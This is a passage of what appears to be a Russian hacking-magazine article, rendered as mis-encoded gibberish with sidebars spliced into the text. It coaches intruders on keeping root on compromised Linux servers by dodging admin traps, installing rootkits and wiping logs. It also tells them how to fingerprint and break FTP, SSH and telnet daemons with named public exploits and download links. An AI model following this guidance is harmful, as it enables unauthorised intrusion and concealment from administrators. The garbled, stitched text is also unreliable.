÷òî ëþáîé ñêðèïòêèäè ñêîðåå ïðîõà-
÷èò îáùåñòâåííûé ñîðòèð, ÷åì åãî
õîñò ;-). Êñòàòè, ïðîöåäóðà âîññòàíîâ-
ëåíèÿ ïàðîëÿ ïðåäåëüíî ïðîñòà: çàã-
ðóæàåìñÿ ñ CD èëè äèñêåòû, ìîíòèðó-
åì ðàçäåëû ñåðâåðà, ñìîòðèì
/etc/passwd, óäàëÿåì çàïèñü ïàðîëÿ
root, îòìîíòèðóåì âèíò, ðåáóòèìñÿ â
Linux, ëîãèíèìñÿ ñ ïóñòûì ïàññîì. Òà-
êèì îáðàçîì, 10-ìèíóòíàÿ îñòàíîâêà
ñåðâåðà ñòîèò òåáå áåññîííîé íî÷è è
óòðàòû ýòîãî ñåðâàêà - ïðè âîññòàíîâ-
ëåíèè ïàðîëÿ çàùèòà áóäåò óñèëåíà. 

Íå ðåêîìåíäóþ äîáàâëÿòü ïîëüçî-
âàòåëåé íà âçëîìàííóþ ñèñòåìó.
Ïðîñòî î÷åíü ìíîãèå àäìèíèñòðàòîðû
îïàñàþòñÿ çà áåçîïàñíîñòü ñâîåãî
õîñòà è ñòàâÿò ëîâóøêó íà êîìàíäó
"adduser", êîòîðàÿ îòïðàâëÿåò ñîîá-
ùåíèå íà ïî÷òó âñÿêèé ðàç ïðè ñîçäà-
íèè àêêàóíòà ïîëüçîâàòåëÿ, äà è ýòî
åùå íå âñå. Íåêîòîðûå ñåðâåðà èìåþò
ñèëüíóþ ñâÿçü ñ îñòàëüíûìè ìàøèíà-
ìè ñåòè: íàïðèìåð, õàêåð âçëîìàë Dial-
in ñåðâåð ïðîâàéäåðà, äîáàâèë ñâîåãî
ïîëüçîâàòåëÿ, ïðîïèñàë ñêðèïòû, âû-
äåðæàë ïàóçó è çàõîòåë ïîïîëüçî-
âàòüñÿ ïëîäàìè ñâîåãî òðóäà. Íî íå
òóò-òî áûëî: ñåðâåð åãî ïóñêàåò, íî
ïðè ïîïûòêå çàïóñêà ñåññèè PPP ïðî-
öåññ óìèðàåò ïî òàéì-àóòó. Ïðè÷èíà
ïðîñòà äî áåçîáðàçèÿ - ìàøèíà, ïðè-
íèìàþùàÿ çâîíêè, íå èìåëà íà ñâîåì
õîñòå áàçû ïîëüçîâàòåëåé! Âåñü áèë-
ëèíã áûë íà îòäåëüíîì ñåðâåðå, êîòî-
ðûé è çàïèñûâàë â ëîãè ïîäîçðèòåëü-
íûå çàïðîñû íà íåñóùåñòâóþùåãî
ïîëüçîâàòåëÿ. Ïîñëå íåñêîëüêèõ òà-
êèõ îøèáîê àäìèí ïîëó÷èë ïèñüìî ñ
âûðåçêîé ëîã-ôàéëà. È, êàê ñëåä-
ñòâèå, õàêåð ëèøèëñÿ äîñòóïà íà Dial-
in. Ïîýòîìó íå ïîâòîðÿé ÷óæèõ îøè-
áîê è íèêîãäà íå äîáàâëÿé ïîëüçîâà-
òåëÿ, íå ðàçîáðàâøèñü, êàê óñòðîåí
âåñü ìåõàíèçì âçàèìîäåéñòâèÿ ñåð-
âåðîâ. Íå ñòàâü ðóòêèòîâ, íå èçó÷èâ
ñåðâåð ïîëíîñòüþ. Ýòî ãðîçèò ïîëíîé
óòðàòîé àêêàóíòà - íî÷íûå ïðîâåðêè
áåçîïàñíîñòè, ïîñòîÿííûå ëîã-àíàëè-
çû, ñðàâíåíèå õåø-ôóíêöèé ó îñíîâ-
íûõ óòèëèò ãàðàíòèðîâàííî âûäàäóò
äåéñòâèÿ âçëîìùèêà. ×òîáû ýòîãî íå
ñëó÷èëîñü, èçó÷àé ñèñòåìó êàê ìîæíî
òùàòåëüíåé. Êðîìå ýòîãî, êàòåãîðè-
÷åñêè çàïðåùàåòñÿ óáèâàòü ïðîöåññû
ñåðâåðà. Äàæå òàêîé âðåäíûé è îïàñ-
íûé äëÿ õàêåðà äåìîí, êàê syslog, äîë-
æåí êðóòèòüñÿ â ñèñòåìå, êîãäà îí
÷òî-òî òàì äåëàåò. Ïðè÷èíà áàíàëüíà -
î÷åíü ÷àñòî ïðè îñòàíîâêå êðèòè÷åñ-
êèõ ïðîöåññîâ îíè ïåðåçàïóñêàþòñÿ,
à, åñëè ïàäàþò è âî âòîðîé ðàç, - îòï-
ðàâëÿþò ñîîáùåíèå àäìèíó íà ìî-
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Ó÷òè, ÷òî äàæå áàíàëüíûé çàïóñê mc
âûçîâåò èçìåíåíèÿ âðåìåíè äîñòóïà íà

íåêîòîðûõ ôàéëàõ.

Íó è êòî ñêàæåò, ÷òî ÕÐ âûãëÿäèò êðó÷å???

Ïóòü ñâîáîäåí! Òîëüêî îäèí root â ñèñòåìå

Êîìàíäà
'who' ïîçâî-
ëÿåò óçíàòü
âñåõ ïîëü-
çîâàòåëåé,
ðàáîòàþ-
ùèõ ñ ñèñ-
òåìîé â
äàííûé ìî-
ìåíò.



áèëüíèê, â êîòîðîì ïðèâåäåíà èíôîð-
ìàöèÿ î òîì, ÷òî ñëó÷èëîñü, êòî è îò-
êóäà ðàáîòàåò â ñèñòåìå, ÷òî äåëàåò è
ò.ä. Êàê íåëüçÿ óáèâàòü ÷óæèå ñåðâè-
ñû, òàê íåëüçÿ è çàïóñêàòü ñâîèõ äå-
ìîíîâ íà ñåðâåðå. Òî÷íåå, ýòî äåëàòü
ìîæíî è íóæíî, íî òîëüêî ïîñëå óñòà-
íîâêè ñîîòâåòñòâóþùèõ ðóòêèòîâ, êî-
òîðûå ñìîãóò ñêðûòü àêòèâíîñòü ëå-
âûõ ïðèëîæåíèé íà õîñòå.

ÓÄÅÐÆÀÍÈÅ ROOT-ÀÊÊÀÓÍÒÀ
Åñëè âçëîìùèê íàäååòñÿ ïîäîëü-

øå óäåðæàòü çà ñîáîé ìàêñèìàëüíûå
ïðàâà íà Linux-ñåðâåðå, òî îí äîë-
æåí ïîñòàðàòüñÿ âûïîëíèòü åùå
íåñêîëüêî äåéñòâèé. Ñàìîå ãëàâíîå -
ýòî èçó÷èòü âñþ ñèñòåìó è íàéòè
"çàêëàäêè": ïðîãðàììû è ñêðèïòû, óñ-
òàíîâëåííûå àäìèíèñòðàòîðîì ñåð-
âåðà, ïðåäíàçíà÷åííûå äëÿ ïîèñêà è
ëèêâèäàöèè âçëîìîâ. Íàèáîëåå ïî-
ïóëÿðíû äëÿ Linux-ñåðâåðîâ íà ñå-
ãîäíÿ ñêðèïò, êîòîðûé ñëåäèò çà
ïîäòâåðæäåíèåì âõîäà (ñëåäóåò èñ-
êàòü â /root ôàéë êîíôèãóðàöèè
îáîëî÷êè ïîëüçîâàòåëÿ) è ñêðèïòû
ïðîâåðêè õåø-ñóììû âñåõ óòèëèò
ñèñòåìû. ×àùå âñåãî îíè çàïóñêàþò-
ñÿ ñ ïîìîùüþ cron îò root, ïîýòîìó
ñëåäóåò âíèìàòåëüíî èçó÷àòü âûâîä
êîìàíäû crontab. Åñëè íå áóäåò íàé-
äåíî íèêàêèõ ïîäîçðèòåëüíûõ çàïè-
ñåé äëÿ cron, òî âçëîìùèêó ÷àùå
âñåãî íåîáõîäèìî èçó÷èòü /var/log.
Èìåííî ýòîò êàòàëîã ñîäåðæèò ðå-
çóëüòàòû âñåõ ïðîâåðîê, åñëè îíè ñó-
ùåñòâóþò, è â íåì ëåãêî ìîæíî îáíà-
ðóæèòü îò÷åòû ëîâóøåê àäìèíà.
Ïðîñìîòðåâ æóðíàë, ñëåäóåò ïîäó-
ìàòü îá óñòàíîâêå ðóòêèòà, åñëè, êî-
íå÷íî, íà õîñòå íå óñòàíîâëåíà ïðîã-
ðàììà-ðåâèçîð. Íó à ïîñëå óñïåøíî-
ãî èíñòàëëà âñå ñòàíîâèòñÿ ïðîùå:

ïàò÷åíûå óòèëèòû áóäóò ïðèêðûâàòü
òåáÿ è òâîè ïðîöåññû â íóæíûé ìî-
ìåíò, à àäìèí áóäåò ñïàòü ñïîêîéíî,
íå çíàÿ, ÷òî åãî ñåðâåðà íàõîäÿòñÿ
ïîä ÷óæîé âëàñòüþ :-). Åñëè æå àäìè-
íèñòðàòîð ïîïàëñÿ ãðàìîòíûé è óñòà-
íîâèë âñå âîçìîæíûå ëîâóøêè-àíà-
ëèçàòîðû, òî òóò íåîáõîäèìî
äåéñòâîâàòü êðàéíå îñòîðîæíî.

×òîáû óäåðæàòüñÿ íà òàêîì çà-
ùèùåííîì õîñòå, íåîáõîäèìî áûòü
ïðåäåëüíî âíèìàòåëüíûì, çàáûòü
ïðî âñÿêèå óòèëèòû-ïîìîùíèêè è
âñåãäà ÷èñòèòü ëîãè ñâîèõ
äåéñòâèé. Ïðè÷åì îáÿçàòåëüíî
íóæíî ñëåäèòü çà ïðîãðàììîé-ðå-
âèçîðîì, òî åñòü ïåðåä åå çàïóñ-
êîì íà ñåðâåðå íå äîëæíî áûòü íè-
êàêèõ ñëåäîâ äåéñòâèé õàêåðà, êàê
è ñàìîãî âçëîìùèêà íå äîëæíî
áûòü â ñèñòåìå :-). Îáùåèçâåñòíîå
ïðàâèëî - ÷åì äîëüøå èçó÷àåøü
ñèñòåìó ïåðåä óñòàíîâêîé êàêèõ-
ëèáî ñâîèõ ïðîã, òåì áîëüøå øàí-
ñîâ âîñïîëüçîâàòüñÿ ýòèìè ñîôòè-
íàìè â áóäóùåì. Òàê ñêëàäûâàåòñÿ
ñèòóàöèÿ, ÷òî õàêåð âñòàåò íà áîðü-
áó íå òîëüêî ñî çíàíèÿìè àäìèíà,
íî è ñî âñåâîçìîæíûìè ëîâóøêà-
ìè, ÷àùå âñåãî íàïèñàííûìè êðóï-
íûìè IT-ñïåöèàëèñòàìè.

LINUX - ÏÐÈÒÎÍ ÕÀÊÅÐÎÂ? ÄÀ!
Linux áûë, åñòü è áóäåò òîé åäèí-

ñòâåííîé ñèñòåìîé, â êîòîðîé õàêåð
÷óâñòâóåò ñåáÿ ïðåäåëüíî ïðîñòî è
êîìôîðòíî. Òåì, êòî äåéñòâèòåëüíî
õî÷åò ïîíÿòü âñþ ñèëó è óäîáñòâî
Linux, ïðÿìàÿ äîðîãà â ìèð source-
base äèñòðèáóòèâîâ. Òîëüêî òàì,
ïðîéäÿ ÷åðåç áåññîííûå íî÷è, êèëîã-
ðàììû ìàíîâ, òû ïîçíàåøü ñ÷àñòüå,
êîòîðîå ïîçâîëèò òåáå ïîíèìàòü ìèð
õàêåðîâ. E

Emerge - ñèëà Gentoo, ïîçâîëÿþùàÿ äåðæàòü òâîþ ñèñòåìó â ïîñòîÿííîé
áîåãîòîâíîñòè

Ïî÷åìó áû íå âîéòè â ñèñòåìó�



Àòàêà áðóò-
ôîðñîì
î÷åíü
äåéñòâåííà.
Ïðàâäà, òà-
êîé âçëîì
ìîæåò ïðî-
äîëæàòüñÿ
íåñêîëüêî
÷àñîâ. Âñå
çàâèñèò îò
ïðîïóñêíîé
ñïîñîáíîñòè.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Í èêòî íå çàñòðàõîâàí îò îøèáîê. Â ñåòè âñåãäà îòûùåòñÿ ñåðâåð ñ áàæíûì äåìîíîì. Íå âàæíî, êàêèì èìåííî áóäåò
ñåðâèñ. Âàæíî òî, ÷òî òû â ëþáîé ìîìåíò ìîæåøü åãî âçëîìàòü, çàðàáîòàâ íà ýòîì ñèñòåìíûå ïðèâèëåãèè.

ÑÅÐÂÈÑÍÀß
ÓÃÐÎÇÀ
ÀÒÀÊÈ ÍÀ ÊÎÍÊÐÅÒÍÛÅ ÑËÓÆÁÛ

íåðòíîñòü ñèñòåìíûõ
àäìèíèñòðàòîðîâ âïå-
÷àòëÿåò. Àäìèíû ðåàãè-
ðóþò íà óÿçâèìîñòü â
îïðåäåëåííîé ñëóæáå

ëèøü òîãäà, êîãäà áàã ïåðåðàñòàåò â
ýïèäåìèþ. Â îáû÷íûõ ñëó÷àÿõ íèêòî
íå ìåøàåò õàêåðó ïîèìåòü õîðîøèé
ðåñóðñ ÷åðåç óÿçâèìîñòü â ñåðâèñå.
Îäíàêî ïîëó÷èòü shell ïîñëå îäíîê-
ðàòíîãî ïðèìåíåíèÿ ýêñïëîèòà óäàåò-
ñÿ äàëåêî íå âñåãäà. Ñ òâîåãî ïîçâî-
ëåíèÿ, ÿ ðàññìîòðþ îñîáåííîñòè äå-
ìîíîâ âêëþ÷àÿ èõ ñòîéêîñòü ê ðàç-
ëè÷íûì ýêñïëîèòàì.

ÄÛÐßÂÛÉ FTP
Íà÷íåì ñ ñàìîãî íèçêîãî ñèñòåì-

íîãî ïîðòà. Íà äâàäöàòü ïåðâîì ïîðòó
ðàñïîëîæèëñÿ èíòåðåñíûé äåìîí FTP.
Òû õî÷åøü ïîëîìàòü åãî, íî âîò áåäà:
íå çíàåøü, êàêîé FTPD âûäåðæèò àòà-
êó, à êàêîé - íåò. Ïóáëè÷íûå ýêñïëîè-
òû âñòðå÷àþòñÿ äëÿ äâóõ ñëóæá:
WuFTPD è ProFTPD. Íåñìîòðÿ íà äû-
ðÿâîñòü îíè äî ñèõ ïîð èñïîëüçóþòñÿ
àäìèíàìè â ðàáîòå. Ïîãîâîðèì î êàæ-
äîì ðåëèçå â îòäåëüíîñòè. 

Wu-FTPD. Â ñòàðûõ âåðñèÿõ ñåðâåðà
òàèòñÿ íåñêîëüêî êðèòè÷åñêèõ óÿçâè-
ìîñòåé, íàïðàâëåííûõ, â îñíîâíîì, íà
ïåðåïîëíåíèå áóôåðà. Ýêñïëóàòèðî-
âàíèå îñíîâàíî íà ïåðåñûëêå ñëèø-
êîì äëèííîé êîìàíäû ñ shell-êîäîì, â
ðåçóëüòàòå ÷åãî ó ñåðâèñà íàïðî÷ü
ñðûâàåò êðûøó. Â ðåçóëüòàòå àòàêè
âçëîìùèê ïîëó÷àåò ïîëíîöåííûé
rootshell (íå ñòîèò çàáûâàòü, ÷òî ïî-
äàâëÿþùåå ÷èñëî äåìîíîâ ðàáîòàþò
èç-ïîä root�à). Â ïðîñòîì ñëó÷àå òåáå
äîñòàòî÷íî ñêà÷àòü ýêñïëîèò ïîä óÿç-
âèìóþ âåðñèþ è çàïóñòèòü åãî ñ îïðå-
äåëåííûìè ïàðàìåòðàìè. ×åðåç íåêî-
òîðîå âðåìÿ òû ïîëó÷èøü ïðàâà ñó-
ïåðïîëüçîâàòåëÿ. Íî äîâîëüíî ÷àñòî
áûâàåò, ÷òî àäìèí ñïåöèàëüíî ïîäìå-
íèë áàííåð FTPD. Ïî ïîíÿòíûì ïðè÷è-
íàì àäìèíèñòðàòîð íå õî÷åò, ÷òîáû
åãî âçëîìàëè, ïîýòîìó îáçûâàåò äå-
ìîí çàãàäî÷íûì èìåíåì, ïðîòèâ êîòî-
ðîãî õàêåð íå íàéäåò íóæíîãî ýêñïëî-
èòà. Ê ñ÷àñòüþ, Wu-FTPD îáëàäàåò
ïðèçíàêàìè, êîòîðûå îòëè÷àþò åãî îò
ñåðâèñîâ äðóãèõ ïðîèçâîäèòåëåé.

×òîáû îïðåäåëèòüñÿ â íàçâàíèè ñåð-
âèñà, çàöåïèñü íà íåãî è ïîïðîáóé çà-
ëîãèíèòüñÿ. Çàòåì íàïèøè êîìàíäó
quit. Åñëè ýòî äåéñòâèòåëüíî Wu, òî òû
óâèäèøü ïîëíóþ ñòàòèñòèêó ïî ïåðå-
äàííûì äàííûì (ïðè÷åì íîìåð êîìàí-
äû áóäåò ðàâíÿòüñÿ ÷èñëó 221). Êðîìå
ýòîãî, â ñëó÷àå àíîíèìíîãî çàõîäà
Wu-FTPD îáÿçàòåëüíî ïðîèíôîðìè-
ðóåò òåáÿ î ïðàâèëüíîñòè email-àäðå-
ñà, êîòîðûé çàäàåòñÿ â êà÷åñòâå ïàðî-
ëÿ. Ïîäîáíàÿ äðóæåëþáíîñòü ïîçâî-
ëèò âûâåñòè ñåðâåð íà ÷èñòóþ âîäó.
È, íàêîíåö, ýêñïëîèòû. Êîíå÷íî æå,
àáñîëþòíî âñå âåðñèè WuFTPD óÿçâè-
ìû, íî â ïóáëè÷íûõ èñòî÷íèêàõ òû ìî-
æåøü íàéòè ñïëîèò äëÿ âçëîìà ðåëè-
çà 2.6.2 (www.security.nnov.ru/files/0x82-
wu262.c). Ïðèäåòñÿ äîâîëüñòâîâàòüñÿ
òåì, ÷òî åñòü.

×òî êàñàåòñÿ ProFTPD, òî ýòà ñëóæ-
áà åùå äûðÿâåå. Ñóùåñòâóåò ýêñïëî-
èò äëÿ ïðåäïîñëåäíåãî ðåëèçà
1.2.9rc2, ÷òî ãîâîðèò î íåêîìïåòåíò-
íîñòè ïðîãðàììèñòîâ. Ñàìàÿ ïîïó-
ëÿðíàÿ îøèáêà â äåìîíàõ FTPD � ïå-
ðåïîëíåíèå ïðè ïåðåäà÷å äëèííîãî
ïàðàìåòðà êàêîé-ëèáî êîìàíäå. Íî
ïîñëåäíèé ýêñïëîèò îðèåíòèðîâàí
íà ñðûâ áóôåðà âî âðåìÿ çàêà÷èâà-
íèÿ ASCII-ôàéëà. ß ïðîòåñòèðîâàë
ðàáîòó ýòîãî ÷óäíîãî ýêñïëîèòà

(www.security.nnov.ru/files/10.04.proftpd_xforce.c
) íà âåðñèè 1.2.9 è ëåãêî ïîëó÷èë óäà-
ëåííîãî root'à. Îäíà ïðîáëåìà � â
ïóáëè÷íîì ýêñïëîèòå ñîäåðæèòñÿ
âñåãî äâå ìèøåíè (òàðãåòà :)). Õî-
÷åøü áîëüøåãî? Òîãäà êà÷àé ôàéë
www.security.nnov.ru/files/proft_put_down.c. Îí
ñíàáæåí áðóòôîðñîì, ïîýòîìó ÿâëÿ-
åòñÿ óíèâåðñàëüíûì äëÿ âñåõ êîí-
ôèãóðàöèé.

Åñëè àäìèí ìåíÿåò áàííåð îò
ProFTPD, ýòî íå ãîâîðèò î òîì, ÷òî õà-
êåð íå îáíàðóæèò áàã. Äåìîí âûäàåò
ñåáÿ ñ ïîòðîõàìè ôðàçîé
«Anonymous Login ok» ïðè ïåðåäà÷å
àíîíèìíîãî ëîãèíà. Äëÿ ñïðàâêè: âñå
îñòàëüíûå FTPD âìåñòî ñëîâà
«Anonymous» ïèøóò «Guest». Êîãäà-
òî ÿ ðàñêóñèë ñëóæáó èìåííî ïî ýòîé
îòëè÷èòåëüíîé îñîáåííîñòè. ×åãî è
òåáå æåëàþ :).

SSH � ÍÎÑÒÀËÜÃÈß 
ÏÎ ÂÇËÎÌÓ

Ñëåäóþùèé ñåðâèñ, êîòîðûé ÿ
îïèøó, � ýòî sshd. Îí âèñèò íà 22-ì
ïîðòó è ñëóæèò äëÿ óäàëåííîãî ïîäê-
ëþ÷åíèÿ ê ñåðâåðó. Ñëóæáà ñíàáæåíà
çàùèòíûì àëãîðèòìîì øèôðîâàíèÿ,
ïîýòîìó õàêåð íèêîãäà íå îòëîâèò ïà-
ðîëü, ïåðåäàþùèéñÿ äåìîíó. ×òî êà-
ñàåòñÿ ñòîéêîñòè êî âçëîìó, òî â íàøå
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ProFTPD è
Wu-ftpd �
ñàìûå äû-
ðÿâûå ñåð-
âåðà. Íî,
íåñìîòðÿ íà
ýòî, àäìè-
íèñòðàòîðû
ïðîäîëæàþò
èõ èñïîëü-
çîâàòü.

Âûâîäèì ñåðâåðà íà ÷èñòóþ âîäó

ÑÅÐÂÈÑÍÀß ÓÃÐÎÇÀ50 ÂÇËÎÌ



Î÷åíü ÷àñòî
àâòîðû
ýêñïëîèòîâ
óìûøëåííî
äîïóñêàþò
îøèáêè â
êîäå. ×òîáû
ýêñïëîèò
ôóíêöèîíè-
ðîâàë, òåáå
ïðèäåòñÿ èõ
íàéòè è
èñïðàâèòü.

âðåìÿ sshd ïðàêòè÷åñêè íåóÿçâèì. Ïà-
ðó ëåò íàçàä õàêåðû íàïèñàëè ýêñïëî-
èò x2 (www.security.nnov.ru/files/x2.tgz), êîòî-
ðûé óæå äàâíî íàõîäèòñÿ â ïóáëè÷-
íûõ èñòî÷íèêàõ. Îí ïîçâîëÿåò âçÿòü

óäàëåííîãî root�à. Ýòî óäàâàëîñü, åñ-
ëè âåðñèÿ SSH ñîâïàäàëà ñ ðåëèçîì,
çàáèòûì â target. Ýêñïëîèò ñîäåðæàë
àæ 46 öåëåé, ïðàâäà, íà ïðàêòèêå óäà-
âàëîñü ïîëó÷èòü root�à ëèøü â 5-6 èç

íèõ. ×òî óäèâèòåëüíî, äàæå ñåé÷àñ
ìîæíî âñòðåòèòü óÿçâèìûå âåðñèè äå-
ìîíà (ñ 1.5-1.2.27 ïî 1.2.33) â ðàçëè÷-
íûõ ëîêàëüíûõ ñåòÿõ. Ñòîèò ëèøü ïî-
ëó÷èòü äîñòóï ê ìàðøðóòèçàòîðó è
ïðîñêàíèòü áàííåðû âñåõ ñåðâèñîâ
ëîêàëüíîé ñåòè. Êòî çíàåò, ìîæåò òåáå
è ïîâåçåò�

TELNETD � ÄÐÅÂÍÈÉ ÑÅÐÂÈÑ
ÎÒ ÄÐÅÂÍÈÕ ÀÄÌÈÍÎÂ

Ñåé÷àñ ìû çàéìåìñÿ âçëîìîì tel-
netd. Íåñìîòðÿ íà òî ÷òî ýòî ñòàðûé
ñåðâèñ, îí èñïîëüçóåòñÿ íà ìíîãèõ
unix-like-ìàøèíàõ. Ïî÷åìó æå àäìèíû
åãî íå ñíîñÿò? Âñå ïðîñòî � îíè îñòàâ-
ëÿþò äåìîí â êà÷åñòâå ðåçåðâà,
ôèëüòðóÿ åãî îò âíåøíåãî ìèðà. Â
ýòîì ñëó÷àå òû íå çàêîííåêòèøüñÿ íà
ñåðâèñ, îäíàêî ñìîæåøü áåç ïðîáëåì
ïîëó÷èòü ëîêàëüíîãî root�à, åñëè àòà-
êóåøü ñåðâåð äðóãèì ñïîñîáîì. Âïðî-
÷åì, áûâàþò è èñêëþ÷åíèÿ. Ê ïðèìå-
ðó, â Ñîëÿðêå òåëíåò � âîîáùå ñåðâèñ
ïî óìîë÷àíèþ, ïîýòîìó 23-é ïîðò íà
òàêèõ ñåðâåðàõ ñâåòèòñÿ âñåãäà. Îò òå-
áÿ òðåáóåòñÿ âîñïîëüçîâàòüñÿ óñëóãà-
ìè îäíîãî èç äâóõ ýêñïëîèòîâ. Ïåð-
âûé íàçûâàåòñÿ 7350logout (exam-
ples.oreilly.de/english_examples/net-
worksa/tools/7350logout), îí ïåðåïîë-
íÿåò áóôåð â telnetd, çàñîðÿÿ åãî íå-
êîððåêòíûìè äàííûìè. Çëîâðåäíûé
áèíàðíèê ñïîñîáåí âçëîìàòü ñëóæáó
â Ñîëÿðêàõ 5.6-5.8 çà íåñêîëüêî ñå-
êóíä. Âòîðîé ýêñïëîèò ñ èìåíåì holy-
grail (examples.oreilly.de/english_exam-
ples/networksa/tools/holygrail.c) ëîìà-
åò Ñîëÿðû 5.5-5.7 óäàëåííî è 5.8 ëî-
êàëüíî. Çàþçàòü ýòè ñïëîèòû íåñëîæ-
íî. Äîñòàòî÷íî ëèøü ïåðåäàòü èì ïà-
ðàìåòðû õîñòà è âåðñèè îïåðàöèîíêè.
Êñòàòè, âåðñèÿ Ñîëÿðêè âñåãäà óêàçà-
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Î òîì, êàê
àäìèíû
ïîäìåíÿþò
áàííåðû
ñâîèõ ñåð-
âèñîâ, òû
ìîæåøü óç-
íàòü, ïðî÷è-
òàâ ñòàòüþ
â ýòîì íî-
ìåðå.

Â ïîñëåäíåå
âðåìÿ â
ïóáëè÷íûõ
èñòî÷íèêàõ
òðóäíî íàé-
òè õîðîøèé
ýêñïëîèò.

Ïåðåä òåì êàê ÷òî-ëèáî ëîìàòü, íåîáõîäèìî ïîäîáðàòü ïîäõîäÿ-
ùèé ýêñïëîèò. ×àñòî ó íîâè÷êîâ âîçíèêàþò âîïðîñû, ñâÿçàííûå ñî
ñêà÷èâàíèåì íåîáõîäèìîãî ôàéëà. Íàéòè îòâåòû ïîìîæåò TOP5
ñàéòîâ, ïîñâÿùåííûõ êîìïüþòåðíîé áåçîïàñíîñòè.

1. www.xakep.ru. À ÷òî òû îæèäàë óâèäåòü íà ïåðâîì ìåñòå? :). Ñàéò
æóðíàëà ñäåëàí î÷åíü ãðàìîòíî, íà íåì ñâîåâðåìåííî ïîÿâëÿþòñÿ
íîâûå ýêñïëîèòû, ïîýòîìó, åñëè èñïûòûâàåìûé ñåðâèñ ñîäåðæèò
áóêâàëüíî â÷åðàø-
íèé áàã, òîïàé íà
õàkåð.ru è áåðè
íóæíûé ýêñïëîèò. Â
îñòàëüíûõ ñëó÷àÿõ
ðåêîìåíäóþ ïîñå-
òèòü äðóãîé ñàéò,
èáî ñàéò Õàêåðà
ñíàáæåí íå ñîâñåì
óäîáíûì ïîèñêîì
(íà çàïðîñ SunOS
exploit, ñêðèïò âåð-
íåò ññûëêó íà êà-
êóþ-íèáóäü ñòàòüþ
è ò.ï.).
2. security.nnov.ru. Ìîé ëþáèìûé ïîðòàë ïî áåçîïàñíîñòè. Ó ñàéòà
ìíîãî ïëþñîâ: ðóññêîÿçû÷íîñòü, ïðîñòîé äâèæîê, óäîáíûé ïîèñê.
Äîñòàòî÷íî çàéòè
íà ñòðàíèöó securi-
t y . n n o v . r u /
search/exploits.asp
è íàïèñàòü ïàðî÷êó
êëþ÷åâûõ ñëîâ. Îò-
âåò â âèäå ññûëêè
íà ðàáî÷èé ýêñïëî-
èò íå çàñòàâèò ñåáÿ
äîëãî æäàòü.
3. securitylab.ru. Åùå îäèí îòå÷åñòâåííûé ïîðòàë ïî áåçîïàñíîñòè.
Îí èìååò ïëþñû äâóõ ïðåäûäóùèõ ñàéòîâ. Âî-ïåðâûõ, íà ñòðàíèöàõ
ýòîãî ñàéòà ñîäåðæèòñÿ ïîäðîáíîå îïèñàíèå áàãà íà ðóññêîì ÿçû-
êå (êàê íà õàkåð.ru). Âî-âòîðûõ, ñàéò îáëàäàåò âåñüìà ôóíêöèî-
íàëüíûì ïîèñêîâûì ñêðèïòîì, êîòîðûé íàéäåò óÿçâèìîñòü ïî ëþ-
áûì êëþ÷åâûì ñëîâàì (êàê íà security.nnov.ru). Íàêîíåö, òû ìî-
æåøü ïîäïèñàòüñÿ íà ðàññûëêó ýòîãî ñàéòà è âñåãäà áûòü â êóðñå
íîâûõ áàãîâ.
4. packetstormsecurity.nl. Èç àíãëîÿçû÷íûõ ðåñóðñîâ ÏàêåòØòîðì
- ñàìûé ëó÷øèé. Ìíå íðàâèòñÿ òî, ÷òî âåñü ñîôò ðàçáèò íà êàòåãî-
ðèè. Ýòî îçíà÷àåò, ÷òî ïîìèìî ýêñïëîèòîâ òû ìîæåøü íàéòè áýêäî-
ðû, ñíèôåðû, ëîãâàéïåðû è ìíîãîå äðóãîå. Î ïîèñêå ÿ âîîáùå ìîë-
÷ó � îòâåò íà ñòàíäàðòíûé çàïðîñ ìîæåò ñîäåðæàòü 30 ñòðàíèö ññû-
ëîê, ãðàìîòíî îòñîðòèðîâàííûõ ïî ðåâàëåíòíîñòè.
5. securityfocus.org. Åùå îäèí çàðóáåæíûé ðåñóðñ, êîòîðûé ñóùå-
ñòâóåò î÷åíü äàâíî. Íà åãî ñòðàíèöàõ òû âñåãäà íàéäåøü íîâûå
ýêñïëîèòû è îïèñàíèÿ ñâåæèõ áàãîâ. Ëè÷íî ÿ îáðàùàþñü ê ñòðàíè-
öàì ýòîãî ïîðòàëà òîëüêî çà ðàçúÿñíåíèåì òîé èëè èíîé áðåøè â
ñåðâèñå. Â îñòàëüíûõ ñëó÷àÿõ ìíå õâàòàåò äðóãèõ èñòî÷íèêîâ.

ÊÀÊ È ÃÄÅ ËÓ×ØÅ ÈÑÊÀÒÜ?

Ïîèñê ïî ôðàçå «SunOS exploit»

Ëó÷øèé ðåçóëüòàò ïîèñêà!

Äëèòåëüíûé âçëîì ïåðåáîðîì

Ðàðèòåòíûé ýêñïëîèò åùå íà ÷òî-òî ñïîñîáåí :)



íà â áàííåðå telnetd, ÷òî â íåñêîëüêî
ðàç îáëåã÷àåò òâîþ ðàáîòó.

Áàæíûé äåìîí telnet�à âñòðå÷àåòñÿ â
äðóãèõ ñèñòåìàõ. Íàïðèìåð, âî
FreeBSD. Äëÿ îïðåäåëåííûõ âåðñèé
FreeBSD ñóùåñòâóåò ñïåöèàëüíûé
ýêñïëîèò, ïåðåïîëíÿþùèé áóôåð â
ñåðâèñå. Èòîã - óäàëåííûé root íà óÿç-
âèìîé ñèñòåìå. Ñåé÷àñ òàêîé äåìîí â
ãëîáàëå íå âñòðåòèòü, ðàðèòåòíûå ñèñ-
òåìû ñóùåñòâóþò ðàçâå ÷òî â ëîêàëü-
íîé ñåòè êàêîé-íèáóäü ôèðìû. 

Ñëóæáà ïîñòåïåííî çàìåùàåòñÿ çà-
ùèùåííûì SSHD, ïîýòîìó ñóäüáà tel-
netd ïðåäðåøåíà. Äóìàþ, ÷åðåç ïàðó
ëåò òû âîîáùå çàáóäåøü, ÷òî êîãäà-òî
ñóùåñòâîâàë ïîäîáíûé äåìîí. À ïîêà
� àòàêóé ñåðâåðà, àäìèíû êîòîðûõ íå
ïîçàáîòèëèñü î áåçîïàñíîñòè.

WWW � ÈÑÒÎ×ÍÈÊ ÂÑÅÕ ÁÅÄ
Îáðàòèìñÿ ê ñàìîé ïîïóëÿðíîé

ãëîáàëüíîé ñëóæáå - WWW. Äóìàþ,
íå ñòîèò ãîâîðèòü, ÷òî íàèáîëåå ÷àñòî
èñïîëüçóåìûé äåìîí â unix-like-îïå-
ðàöèîíêàõ íàçûâàåòñÿ Apache. Íåñ-
ìîòðÿ íà åãî îòíîñèòåëüíóþ ñòàáèëü-
íîñòü áàãè â Apache ñóùåñòâóþò. Òî÷-
íåå, íå â ñàìîì ñåðâåðå, à â åãî ìíî-
ãî÷èñëåííûõ ìîäóëÿõ. Íà÷íåì ñ ñàìî-
